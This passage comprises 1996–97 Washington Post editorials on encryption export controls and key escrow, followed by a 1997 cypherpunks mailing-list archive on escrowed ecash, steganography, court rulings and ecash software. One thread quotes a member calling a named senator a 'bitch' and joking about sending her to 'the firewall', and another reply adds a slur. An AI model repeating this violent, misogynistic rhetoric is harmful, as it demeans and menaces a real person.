   Committee on Thursday voted to adopt as a replacement for a
   long-standing proposal by Sen. Conrad Burns, dubbed Pro-CODE. Where
   the Burns bill would have lifted restrictions on the export of
   "uncrackable" encryption software abroad -- restrictions that the
   administration has fought to maintain for national security reasons --
   the McCain-Kerrey legislation goes the other way, seeking to expand
   such restrictions to cover most of the uses of encryption software in
   the United States. That proposal raises red flags even if you believe,
   as we do, that there are legitimate national security and law
   enforcement reasons for controlling the diffusion of such `robust'
   coding software overseas.
   
   The bill, offered as a compromise between the administration's
   priorities and those of Congress, shows how difficult it is to square
   this particular circle. It would require users of domestic networks
   with any government funding (such as universities, many hospitals and
   government contractors) to deposit an extra "key" to their codes with
   a licensed "key management" authority -- with the licensing to be done
   by the government. Like the administration's international policy,
   this bill envisions the development of whole new government-regulated
   industries for key management, retrieval and authentication. This
   meets the needs of domestic law enforcement agencies, which could get
   the keys with an ordinary subpoena, but at a considerable cost to the
   consumer confidence that would be expected to drive a market in
   encryption software to begin with.
   
   What you think of these bills has a good deal to do with how you think
   the worlds of electronic commerce and networked communal life will
   develop -- and, of course, no one knows. Even the most enthusiastic
   boosters of the right to encryption concede that very few people
   actually use it yet. Electronic commerce itself has yet to take real
   shape. The main force shaping the Internet for now continues to be the
   perception -- not to mention fear -- of the all-too-likely prospect
   that anyone who wants to can snoop around in the stacks of your most
   private data, which are constantly accumulating in unknown files.
   
----------

   The Washington Post, June 10, 1996, p. A18.


   Global Village Cops?


   What will be the long-term effect of Internet technologies
   on global law enforcement? The amazing story of Bill and
   Anna Young, a k a Leslie Rogge and Judy Kay Wilson, offers
   one possible scenario. The pseudonymous Youngs, residents
   of Guatemala who the FBI says have been on a decade-long
   run from U.S. justice since Mr. Rogge was convicted of a
   string of bank robberies and other offenses, turned
   themselves in to authorities after a neighbor recognized
   Mr. Rogge's face on the FBI home page's Most Wanted list.
   According to a story first told in the Guatemala Weekly,
   the person who recognized him was a newly Internet-wired
   14-year-old.

   The vision of the future evoked by this story, of a world
   in which the familiar "global village" becomes a place not
   just of instant communication but of neighborly nosiness
   and where no one can just melt into the crowd, is
   reassuring and unnerving in about equal proportions. (What
   if it were a network of hit men or an authoritarian
   government seeking a dissident, rather than the FBI, making
   use of this powerful technology?) But it's also worth
   keeping in mind that, other than the romance of the
   technology, it doesn't represent that great an advance on
   current global media that have made celebrities or
   fugitives' faces familiar to a vast public -- just ask
   Salman Rushdie. The Rogge nabbing is the first that the FBI
   credits to its home page specifically, but TV's "America's
   Most Wanted" has scored similar coups.

   The impossibility of predicting the exact shape of these
   extensions of policing is relevant as well to a report that
   the National Research Council recently issued on another
   computer technology issue -- the vexed matter of whether to
   ease export controls on encryption software, which encodes
   information sent electronically so that only a user with a
   key can decipher it.

   The government until now has resisted lifting controls on
   "uncrackable" encryption software --  that is, codes that
   are too complex to be broken by brute force -- unless the
   industry agrees to deposit keys in an escrow arrangement
   with a third party so the government can seek and obtain a
   warrant to read encoded communications if necessary.
   Software makers, meanwhile, are pushing hard to have these
   restrictions eased. The research council, an arm of the
   generally neutral National Academy of Sciences, sought to
   bridge the gap between industry interests and such
   government agencies as the FBI and national security
   agencies, whose case, they say, is based largely on
   classified matter that can't be publicly discussed.

   Part of the report's conclusion, which favors the easing
   though not the abolition of current restrictions, is that
   wider use of encryption technology will actually *help*
   national security and law enforcement because more data,
   economic and otherwise, will be secure to begin with. But
   if the news of the changing terrain tells anything, it is
   that it is far too soon to base arguments on such a
   premise. Our own sense on encryption is that the national
   security and law enforcement questions remain too important
   to be sacrificed lightly, despite the considerable economic
   interests of the parties on the other side. But the world
   of Internet law enforcement is still taking shape. Whatever
   the public conclusion on encryption, the debate should not
   rest on any assumptions about what that shape will be.

-----------

>   The Washington Post, July 27, 1996, p. A22. 
> 
> 
>   Speaking in Code on the Internet ... [Editorial] 
> 
> 
>   The decibel level has been rising in the argument over how 
>   much control the federal government should have over the 
>   export of encryption technology. The Senate Commerce 
>   Committee held hearings Thursday on a proposal dubbed 
>   Pro-CODE (Promotion of Commerce On-line in the Digital Era) 
>   that would lift current restrictions on exporting 
>   encryption software above a certain level of complexity. 
>   The move is opposed strongly by law enforcement and 
>   national security authorities, who fear the consequences to 
>   their tracking of terrorism or crime if uncrackable 
>   cryptography becomes the global standard. 
> 
> 
>   But encryption software -- which scrambles a person's 
>   computer messages so no one can read them without a key -- 
>   also is thought by many in the computer industry to be the 
>   missing piece that's preventing customers from a full-scale 
>   move to the Internet for banking and other confidential 
>   transactions, rather than, as now, worrying about the 
>   security of their data. They also see it as a market in 
>   which the United States maintains a comfortable lead, one 
>   that is threatened if domestic encryption makers can't sell 
>   their products elsewhere. The makers argue that foreign 
>   encryption software will rush in to fill the gap, doing 
>   nothing about the uncrackability problem -- indeed, making 
>   it worse. The administration in turn is pursuing a wider 
>   international agreement to maintain controls on cryptology 
>   export by all the industrialized nations and has been 
>   putting pressure on its colleagues in the Organization for 
>   Economic Cooperation and Development, which will rule on 
>   the matter in a Paris meeting in September. 
> 
> 
>   Administration officials, including FBI chief Louis Freeh, 
>   have been pushing for an alternative policy of "voluntary 
>   key escrow" -- encryption makers would deposit a key to the 
>   code with a neutral third body before exporting the 
>   products and could then have access to the codes only by 
>   court order, as happens now with wiretapping. Mr. Freeh, 
>   testifying at Thursday's hearing in favor of an optional 
>   key escrow plan, noted that the point is not to prevent all 
>   copies of uncrackable code from going abroad --  that's 
>   clearly impossible -- but to prevent such high-level code 
>   from becoming the international standard, with architecture 
>   and transmission channels all unreadable to world 
>   authorities. To software companies and Internet users who 
>   have been clamoring for the right to encrypt as securely as 
>   possible, Mr. Freeh and others argue, "the genie is not yet 
>   out of the bottle" on "robust," meaning uncrackable, 
>   encryption. 
> 
> 
>   It's far from obvious to anyone that an optional escrow 
>   plan really can prevent the growth of inaccessible 
>   transmissions by international terrorists or criminals. 
>   Encryption, if widely used, could conceivably ease some 
>   privacy problems concerning who gets to see personal and 
>   financial data on individuals -- though such data usually 
>   are vulnerable to being dug out of storage rather than 
>   intercepted in transmission. But neither is it clear that 
>   the encryption enthusiasts' desire for free development 
>   should take precedence over the tracking of terrorism. At 
>   the very least, Congress should be exceedingly cautious 
>   about getting out ahead of administration concerns on 
>   controls that, once lifted, are hardly reversible. 

----

   The Washington Post, October 4, 1996, p. A22. 

   Crypto Politics [Editorial] 


   The Clinton administration once had a coherent, if 
   unpopular, position on encryption software, the stuff that 
   allows you to encode your email messages or other data so 
   that no one can read it en route without a key. Now, in the 
   wake of word that the president will sign an executive 
   order, the position is no longer coherent, nor discernibly 
   more popular with the high-tech audience it attempts to 
   mollify. 

   People and companies doing international financial business 
   are highly interested in this kind of software, the more 
   powerfully "uncrackable" the better. The U.S. software 
   industry thinks there's a lot of money in it, especially if 
   encryption becomes routine. 

   The administration position till recently was that, much as 
   U.S. software companies might profit from being able to 
   market "uncrackable" encryption software freely, national 
   security and law enforcement considerations dictated that 
   such exports be controlled by license. Powerful encryption, 
   like arms, could be dangerous in the hands of terrorists, 
   rogue governments or international criminals. The software 
   was classed as a munition; software above a certain 
   uncrackability level could not be exported unless law 
   enforcement authorities could get access somehow to the 
   "key" after obtaining the proper warrants. 

   Unbreakable codes on the loose strike us as a real danger, 
   a legitimate reason for tight export controls. But if the 
   administration really believes this, you'd think it would 
   stick with steps that can plausibly meet the goal of 
   control. 

   Instead, trying to please, it has been splitting and 
   splitting the difference between itself and the largely 
   unmoved industry, which argues that no one will buy an 
   encryption product that a government can decrypt at will. 
   As with arms sales, the companies also argue that if they 
   don't sell it, somebody else will, and that anyway it's far 
   too late to fence off rogues. The national security people 
   respond that there is still a "window," perhaps two years, 
   in which they can prevent, if not all leaks of unauthorized 
   crypto technology, at least its off-the-shelf use and wide 
   adoption as the international standard. 

   The administration initially proposed, then repeatedly 
   refined, the concept of key "escrow" -- depositing a copy 
   of the code with trusted third parties -- but never came up 
   with a version the industry would accept. It commissioned 
   a National Research Council report, which recommended a 
   significant easing of restrictions. Now the president 
   appears to have embraced a yet looser form of licensure 
   upon declaration by a company that it will develop a plan 
   within two years for key recovery. Also, the technology no 
   longer will be considered munitions. 

   What kind of plan? Nobody can quite say. What if the plans 
   aren't acceptable? Licensing will revert to the old rule in 
   two years. Will the security issue be moot by then? 
   Probably. Barring some burst of clarity, one is left 
   wondering whether the administration has compromised or 
   caved, and what it now believes about the dangers of 
   exporting uncrackable software. 


----------
                                      
Showdown on Encryption
                 
   
   Sunday, May 25 1997; Page C06
   The Washington Post
   
   AFTER A YEAR'S rumbling, Congress seems ready to mount a direct
   challenge to the administration's position on encryption, the sticky
   issue of how to handle software that creates, for commercial use,
   codes too strong to break. The House Judiciary Committee the other day
   passed a bill dubbed Security and Freedom Through Encryption, or SAFE,
   which would undo existing curbs on the export of "uncrackable"
   encryption technology abroad without a license. The administration has
   fought to maintain those curbs against increasing pressure from the
   manufacturers of such software and from a loose but growing coalition
   of privacy and civil liberties groups. A similar bill is pending in
   the Senate.
   
   The administration maintains that the sellers of software capable of
   encrypting electronic messages to a complexity beyond ready cracking
   shouldn't sell it abroad -- or, if they do, should be prepared to
   deposit keys to the codes with trusted commercial third parties at
   home. Police or national security authorities could get these keys
   with a search warrant or court order, as in normal investigations, and
   a market would develop to provide the third-party service of holding
   them.
   
   This vision of a worldwide "key management" structure is a clever way
   to reconcile two otherwise contradictory desires: the desire of
   Internet users for absolute security and privacy in electronic
   transactions and the government's desire to prevent criminals and
   terrorists from making themselves impregnable to a degree never before
   seen. "Key management" does not, however, exist. And the
   administration has gone so far toward undercutting its own position --
   saying key escrow should be voluntary, trying to accommodate industry
   with numerous exemptions, licensing uncrackable software separately
   for banks -- that it's not clear it ever will exist.
   
   Meanwhile, the once-obscure drive to make unlimited-strength
   cryptography available to all has picked up momentum -- and some odd
   allies. Phyllis Schlafly was among those who testified in favor of the
   SAFE bill, saying it would protect Americans from unprecedented
   government intrusion and the FBI reading their mail. Libertarian
   groups such as Americans for Tax Freedom are enthusiastic about the
   vision of a world where powerful, widely available encryption renders
   communications totally safe.
   
   The odd part is that there currently are no restrictions on use of
   uncrackable encryption software within this country. The software
   industry has argued that the export control makes for a de facto
   domestic curb, because it's too complicated to market a full-strength
   version for the domestic market and a weaker one for the foreign
   market. But this isn't a very persuasive argument, since most popular
   software programs exist in dozens of versions for different markets
   and in different languages.
   
   The real question is whether you believe this stuff poses a
   significant national security threat in the wrong hands. If you do --
   and we think it irresponsible to assume otherwise -- then it's not
   enough to declare uncrackable privacy a civil right. You have to at
   least address the question of how to minimize intrusion into that
   right while preserving some ability to grapple with the potential
   danger. Neither the SAFE advocates in Congress nor the
   administration's voluntary escrow enthusiasts up to now have laid out
   that vision in a convincing way.

###









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 23 Jun 1997 12:01:22 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <199706222220.AAA26096@basement.replay.com>
Message-ID: <v03102801afd3a3255d09@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:53 PM -0700 6/22/97, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <199706222220.AAA26096@basement.replay.com>, on 06/23/97
>   at 12:20 AM, nobody@REPLAY.COM (Anonymous) said:
>
>>>  Digital Commerce *is* Financial Cryptography,
>>>  Financial Cryptography *is* Strong Cryptography,
>>>  therefore,
>>>  Digital Commerce *is* Strong Cryptography.
>>>  and, therefore,
>>>  No Strong Cryptography, no Digital Commerce.
>
>>Why can't escrowed ecash support digital commerce?  Strong crypto with a
>>government backdoor.  That's what you're offered.  Prove it can't work.
>
>Because no one with any sence is going to trust their finacial
>transactions to third party access and minipulation.

People do it all the time. The "third parties" are called "bankers." (And
escrow agents, and loan officers, and bank guards, and so on.)

I agree with "anonymous" that Bob Hettinga's syllogism is unconvincing.

Now, I happen to believe that untraceable, strong communications and
monetary instruments allow for amazing things.

But claiming that digital commerce is impossible with an escrowed key
system is not a very persuasive argument. (It is true that some major hacks
of the escrowed system would undermine confidence in e-commerce, but so
would major hacks of today's SWIFT or similar systems. So?)

Bob's syllogism is just too simplistic, and it won't be convicing to people
who have to deal with human weak links in existing systems, and even with
government interference and government ability to intervene (FinCEN,
freezing of assets, regulation, etc.).

Beware too much simplification. It may make for nice t-shirts, but....

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 23 Jun 1997 09:39:34 +0800
To: cypherpunks@cyberpass.net
Subject: spook pressure on crypto exports
Message-ID: <1.5.4.32.19970623013050.006ed9f4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back asked for info crypto export news for AU, IE and NZ,
which I echo. I recall that Peter Gutmann has a standing request 
for crypto export info from anywhere. We'd like to host any reports 
that come in.

For those who've not seen it, his report on his bizarre trials is at:

   http://jya.com/nsazeal.htm

And a report on a weirdly similar UK experience by Mike Cobb is at:

   http://ukeep.htm

Documenting the various international experiences is a worthy
accompaniment to those of Bernstein, Karn and Junger, and about
the only way to expose global GAK at work. It seems to be 
spreading quietly, implemented case by case, wearing down 
isolated appliants with evasive procrastination, or promising a 
one-time approval, using the clock to threaten pending sales.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 23 Jun 1997 09:42:04 +0800
To: cypherpunks@cyberpass.net
Subject: spook pressure on crypto exports
Message-ID: <1.5.4.32.19970623013324.0067b6ec@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Correction: Mike Cobb's report on UK export is at:

   http://jya.com/ukeep.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 23 Jun 1997 04:51:38 +0800
To: tcmay@got.net
Subject: Re: Laying PipeNet
In-Reply-To: <v03102802afd305494670@[207.167.93.63]>
Message-ID: <199706222045.VAA00836@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> At 3:02 AM -0700 22/6/97, Adam Back wrote:
> >Text stego is hard to do.  At ultra low encoding rates (say a few bits
> >per email), it would be ok.  (Just message parity, perhaps the entropy
> >in the message-id, posting time).
> 
> Pointers can be useful. A small number of stego bits in a message of this
> length could be used to tell a recipient where to look for a longer
> message. Thus, this message could contain instructions to "Look at the
> image "cindy-fake17.gif" in "alt.binaries.erotica.cindy-crawford" for
> instructions about the Cabal meeting."

Provides some plausible deniability, more than posting random numbers.

> If the images are recyclings of older images, as most images in
> these porn groups are, then there is the problem that images may be
> diffed (compared) and the LSBs detected to be different. Fixes for
> this either include deliberate (and stated) "enhancement" in
> Photoshop, which is also fairly common, or scanning of some of those
> old Penthouse mags laying around! :-)

That's the major problem with images, you need to generate your own.
Unless you fancy writing an image enhancement system, and analyse the
algorithms in existing systems to ensure that randomness is
introduced.

Another idea, there's a golf-ball cam on top of my monitor, how many
list members have played with CU-SeeMe?  (You'd get to see my 2 year
old son playing with his toy tractor on the desk, making it difficult
to type, keeps pulling my hands off keyboard).

Does any of the CU-SeeMe stuff come with source code?  Cons: at 28.8k
modem speed, the image frame rate is poor, but worse the audio is near
unusable, also limited to 8 conference participants.

Or how about enhanced IRC with VR chat rooms?  You could get lower
bandwidth IRC stylised computer generated VR than you could video
stream.  I'm sure you could come up with some subliminal channels in
that (computer generated images, simulated moniker movements), and
you'd just need to chat on #cypherpunks for a while, and your posts
would be sent.  Quite plausible for cypherpunks to stop off at
#cypherpunks and reminisce about the days before non-gakked crypto was
outlawed.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 23 Jun 1997 12:56:41 +0800
To: cypherpunks@toad.com
Subject: Excerpts from New York and Georgia court decisions
Message-ID: <Pine.GSO.3.95.970622214624.23363P-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Sun, 22 Jun 1997 21:46:12 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Excerpts from New York and Georgia court decisions

----------

http://www.aclu.org/court/nycdadec.html

ALA v. Pataki Decision

Thus, as will be discussed in more detail below,
the New York Act is concerned with interstate
commerce and contravenes the Commerce Clause for
three reasons. First, the Act represents an
unconstitutional projection of New York law into
conduct that occurs wholly outside New York.
Second, the Act is invalid because although
protecting children from indecent material is a
legitimate and indisputably worthy subject of
state legislation, the burdens on interstate
commerce resulting from the Act clearly exceed
any local benefit derived from it. Finally, the
Internet is one of those areas of commerce that
must be marked off as a national preserve to
protect users from inconsistent 'legislation
that, taken to its most extreme, could paralyze
development of the Internet altogether. Thus,
the Commerce Clause ordains that only Congress
can legislate in this area, subject, of course,
to whatever limitations other provisions of the
Constitution (such as the First Amendment) may
require. [...]

The inescapable conclusion is that the Internet
represents an instrument of interstate commerce,
albeit an innovative one; the novelty of the
technology should not obscure the fact that
regulation of the Internet impels traditional
Commerce Clause considerations. The New York Act
is therefore closely concerned with interstate
commerce, and scrutiny of the Act under the
Commerce Clause is entirely appropriate. As
discussed in the following sections, the Act
cannot survive such scrutiny, because it places
an undue burden on interstate traffic, whether
that traffic be in goods, services, or ideas.
[...]

The State vigorously argues that its low was
designed to avoid the constitutional pitfalls
presented by the CDA; however, the New York Act
was clearly modelled on the CDA, and numerous
provisions of the New York Act mirror their
federal counterparts. [...]

I believe any determination of plaintiffs' First
Amendment challenge should therefore await the
guidance to be provided by the Supreme Court's
forthcoming opinion.

-----------

http://www.efga.org/hb1630/preliminary_injunction.html

AMERICAN CIVIL LIBERTIES UNION OF GEORGIA v.
ZELL MILLER, et al.,

Defendants allege that the statute's purpose is
fraud prevention, which the Court agrees is a
compelling state interest. However, the statute
is not narrowly tailored to achieve that end and
instead sweeps innocent, protected speech within
its scope. Specifically, by its plain language
the criminal prohibition applies regardless of
whether a speaker has any intent to deceive or
whether deception actually occurs. Therefore, it
could apply to a wide range of transmissions
which "falsely identify" the sender, but are not
"fraudulent" within the specific meaning of the
criminal code. [...]

The Court concludes that the statute was not
drafted with the precision necessary for laws
regulating speech. On its face, the act
prohibits such protected speech as the use of
false identification to avoid social ostracism,
to prevent discrimination and harassment, and to
protect privacy, as well as the use of trade
names or logos in non-commercial educational
speech, news, and commentary--a prohibition with
well-recognized first amendment problems. [...]








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@bluemoney.com>
Date: Mon, 23 Jun 1997 12:55:22 +0800
To: Lucky Green <cypherpunks@cyberpass.net
Subject: Re: CP uses for the PGP 5.0 source
In-Reply-To: <v03102800afd3687f206a@[10.0.2.15]>
Message-ID: <3.0.1.32.19970622214729.007d8550@descartes.bluemoney.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 05:05 PM 6/22/97 -0700, Lucky Green wrote:
>>ECash could really supply an economic shot in the arm for remailers, making
>>possible commercial (read profitable) remailers.  It will also offer a
>>ready-made market for accountless ecash, which will be available soon.
>>Jeremey Barrett's higher level ecash API should greatly simplify ecash
>>integration.
>
>Amen. What's the ETA?
>

The API as it stands is done, and tested fairly well on linux and bsdi.
Over the next week or two I have more to add though, and have to do some
porting, notably to windoze. But that's roughly the ETA. I think I'm gonna
set up some sort of mailing list for it, I'll post details.

BTW, I think the API header made it's way to this list a couple weeks ago,
but if people want to know what to expect, lemme know.

Regards,
Jeremey.

-----BEGIN PGP SIGNATURE-----
Version: 5.0
Charset: noconv

iQCVAwUBM63/4C/fy+vkqMxNAQE6JgQAls4T8T9N5wUSdEHY1HNE/ZBfkJJobOhL
7Z2ycP+mEj5dMnOy5Uekwz2sni30BeNAaByunjhd02VMl0otkeyORdIcpn4qvztT
cNUdEDpYnBaB6SGGAaXkXHDc9Ta/PedsPHjB3XfQz1XrIxgSbx4YzHNBbIOwtizh
mrDAxcTZYdI=
=GpwS
-----END PGP SIGNATURE-----

--
Jeremey Barrett                                BlueMoney Software Corp.
Crypto, Ecash, Commerce Systems               http://www.bluemoney.com/
PGP key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Mon, 23 Jun 1997 13:13:55 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Bomb-making instructions....
Message-ID: <199706230501.WAA06981@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



On or About 22 Jun 97 at 20:32, Tim May wrote:

>The latest crime for which Senator Diane Swinestein has earned the
>[CENSORED] is her "bomb-making instructions on the Internet are illegal"
>bill.

> We need to hold a trial for this bitch. Then a quick trip to the
> firewall.

Tim:

That's "Murderous, Boss Killing Bitch", please.  Spam is free speech.

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 23 Jun 1997 10:22:40 +0800
To: geeman@best.com
Subject: Re: The Global Fix is In
In-Reply-To: <3.0.32.19691231160000.006c4dd0@best.com>
Message-ID: <Pine.GSO.3.95.970622220654.18526A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Without taking a position on the rest of the following post, I should say
that it's the conservative thinktanks and grassroots groups that are
leading the opposition to all administration proposals and are taking a
crypto-absolutist stance. 

-Declan

Sure, libertarian groups are just as good or better, but there are fewer
of them. (Cato -still- hasn't come out with their crypto policy analysis
even after they've been working on it for half a year. At least their
privacy paper should be coming out soon. And CEI doesn't have the staff to
devote someone to this issue.) They've done a few conferences and such,
but they're limited by numbers. 



On Sun, 22 Jun 1997 geeman@best.com wrote:

> massive investments being made by Industry in the conservative thinktanks
> who produce the
> intellectual fodder-de-jour that supports the position of this elite, and
> overwhelm the
> likes of McCain and Kerrey with
> impossible-for-the-legislature-to-understand managed 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 23 Jun 1997 14:11:29 +0800
To: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Subject: Re: spam on this list
In-Reply-To: <Pine.SOL.3.91.970623112514.26562A-100000@hardy.ocs.mq.edu.au>
Message-ID: <3.0.2.32.19970622224904.0077c668@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:26 AM 6/23/97 +1000, Jason William RENNIE wrote:
>NO i dont wish to post any, i just want to know if this list has spam 
>sent to it ?? I started reciveing various pieces in the last couple of 
>days and i'm trying to identify the source. 

Once in a while it gets spam; usually a couple of pieces a week.
When it does, you can look in the mail headers and you'll see
"cypherpunks", since it really is going though the mailing list.
I'm not aware of any direct spam that I've received as a result
of being on the list, but it could have happened.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Mon, 23 Jun 1997 17:08:59 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: Bomb-making instructions....
In-Reply-To: <v03102802afd39c88cf3c@[207.167.93.63]>
Message-ID: <v03007812afd3bd504797@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

As I'm sure you know, CNN is probably safe in any case, reality being what
it is.

The fine line that DOJ recommended on the Feinstein Amendment is based
mainly on intent.  I don't have the report in front of me, but I think DOJ
recognized that widespread publication makes it harder to prove a nasty
intent.

Suppose CNN got the McVeigh transcripts, scanned them in, and put them up
on the Web.  It's pretty newsworthy.  Hard to see how there could be a
prosecution given the First Amendment, even if the Feinstein Amendment
became law.

Indeed, I would assume that the information would propagate to other sites
as well, including outside the United States.  At that point prosecution
seems even more difficult.

IMHO, proving intent is to some extent a function of how "public"
information is.  If information is publicly available but not very well
known, or perhaps more important, its being publicly available is not very
well known - then it is easier to convince a jury that knowing it implies
badness (unless you have a good, usually institution based, reason for
knowing it).

It would be an interesting piece of sociology of speech, law and technology
to do a serious, scholarly study of the public availability of existing
bombmaking information on the Web.  Where does it come from?  How much was
originally government information?  How accurate is it?  What kind of bombs
can be built with the info?  Who puts it up?  Then compare what's on the
Web to what's in university and public libraries.  This is the kind of
study that may not be doable once the Amendment passes, for obvious reasons.

Lee

At 8:32 PM -0700 6/22/97, Tim May wrote:
>The latest crime for which Senator Diane Swinestein has earned the
>[CENSORED] is her "bomb-making instructions on the Internet are illegal"
>bill.
>
>But I have a question. Does this mean CNN will face prosecution if it
>publishes the transcripts of the McVeigh case?




-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM645lbk2KqHYSFEtEQLqcgCfTdqRguMF3WMpKvr+W5Nps8mNqG0An2uK
2Uea0p5qjNCxIJiV5ROw8bAu
=AhyE
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Mon, 23 Jun 1997 17:07:32 +0800
To: John Young <cypherpunks@cyberpass.net
Subject: Re: McCain's War for Security
In-Reply-To: <1.5.4.32.19970622192626.006d1514@pop.pipeline.com>
Message-ID: <v03007810afd3a60ecea6@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Correct me if I'm wrong, but wasn't there also stuff in the article about
how McCain had been badly stung by some "ethics" problem, which apparently
was not really very serious but disturbed him personally and tainted his
image?

I am remembering vaguely reading somewhere that he felt his integrity had
been impugned (by all accounts he had long been considered above reproach)
and that he was as a result "on the warpath" to restore his image.

If that's a correct remembering, then that sense of a need to restore his
image may have made McCain a perfect target for "a treatment" by a clever
Administration gunning for Pro-CODE (sponsored by Burns, a less powerful
member of the Commerce Committee chaired by McCain, and someone already on
McCain's bad side according to Declan).

Hindsight is 20-20, but it was a perfect fit -- he's the chair of a
committee so he can force a bill through; Burns is on the committee so he
confronts Pro-CODE directly; according to Declan, he didn't get along with
Burns anyway; he wants to reclaim his public crusader image; and he's
always been strong on national security stuff.

Lee

At 12:26 PM -0700 6/22/97, John Young wrote:
>The New York Times Magazine had a feature story on
>Senator McCain a week or two ago which covered in
>detail his personal, military and political history and his
>heroic struggle to meet the high standards set by his
>admiral father, the Navy and individual ethics.
>
[good comments snipped]



-----BEGIN PGP SIGNATURE-----
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Charset: noconv

iQA/AwUBM645krk2KqHYSFEtEQJkCgCfbPQQU3vSAFiewIvENmZhXoAfsl0AoOXZ
Z+NMe7F1217KfikdUbG9GhO0
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Mon, 23 Jun 1997 14:59:53 +0800
To: cypherpunks@toad.com
Subject: Re: Canarypunk: Jim Bell in a coalmine
Message-ID: <3.0.32.19970622234946.00af1174@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:38 PM 6/22/97 -0400, Robert Hettinga wrote:

>Admittedly, this is a distraction from the most important thing, which is
>writing code, but I bet that there are in fact cypherpunks-who-don't-code
>in Bell's neighborhood, and not necessarily even Friends of Jim, who would
>be happy to personally go see how Bell is doing and come back and tell us
>what happened. Think of it as part of the feedback loop for net.freedom. A
>trip into the coal mine with a canary cage.
>
>Yeah, I know. It's me making work for someone else. Nonetheless: Anyone out
>there want to do this?
............................................................................
.....


I live about an hour's drive from Tacoma.   I'm not too enthused about
taking such a lengthy trip just to go see how Mr. Private Assassinations is
doing, but - taking after your own methods, Robert - I'd be glad to do it
in exchange for a trip to Anguilla next Feb.  :>)

(You know, it is true that having friends in times of stress, like when
you're sitting in jail, is good for the soul, but on the other hand one
must give credit to Jim for his having created his own situation.   He did
provoke the government types into suspicions about him and he must have
known that distributing his AP ideas,  containing such apparent potential
for being translated into reality, would make him a grand target.   When
you do things like that, you ought to consider what you're going to do when
"they" come after you.   He afterall is quite aware of the atmosphere in
which we live and how fragile is the relationship (if it can be called
that) which civilians have with the local military saviors which daily
protect us from ourselves.)

Having said that, I'll consider the possibility, if visitors are allowed on
weekends.   Perhaps several cpunks could go (if anyone else around here
interested? (Wei, Joel, I know you're just dying to go <g>)), if more than
one visitor at a time is allowed . 
  

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Mon, 23 Jun 1997 15:03:25 +0800
To: cypherpunks@toad.com
Subject: Re: Canarypunk: Jim Bell in a coalmine
